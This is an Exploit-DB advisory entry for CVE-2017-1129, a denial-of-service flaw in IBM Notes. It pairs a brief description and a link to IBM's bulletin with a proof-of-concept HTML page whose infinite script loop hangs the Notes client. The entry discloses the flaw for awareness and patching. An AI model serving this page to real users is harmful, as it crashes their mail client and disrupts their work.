IBM Notes 8.5.x/9.0.x - Denial of Service

EDB-ID:

42602




Platform:

Multiple

Date:

2017-09-02


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# Exploit Title: IBM Notes is affected by a denial of service vulnerability
# Date: 31 August 2017
# Software Link: https://www-01.ibm.com/support/docview.wss?uid=swg24037141
# Exploit Author: Dhiraj Mishra	
# Contact: http://twitter.com/mishradhiraj_
# Website: http://datarift.blogspot.in/
# CVE: CVE-2017-1129
# Category:  IBM Notes (Console Application)


1. Description

IBM Notes is vulnerable to a denial of service involving persuading a user to click on a malicious link, which would ultimately cause the client to have to be restarted.

2. Proof of concept

<html><head><title></title>
<script type="text/javascript">
while (true) try {
                var object = { };
                function g(f0) {
                        var f0 = (object instanceof encodeURI)('foo');
                }
                g(75);
        } catch (g) { }
</script>
</head></html>


3. IBM Security Bulletin

www-01.ibm.com/support/docview.wss?uid=swg21999385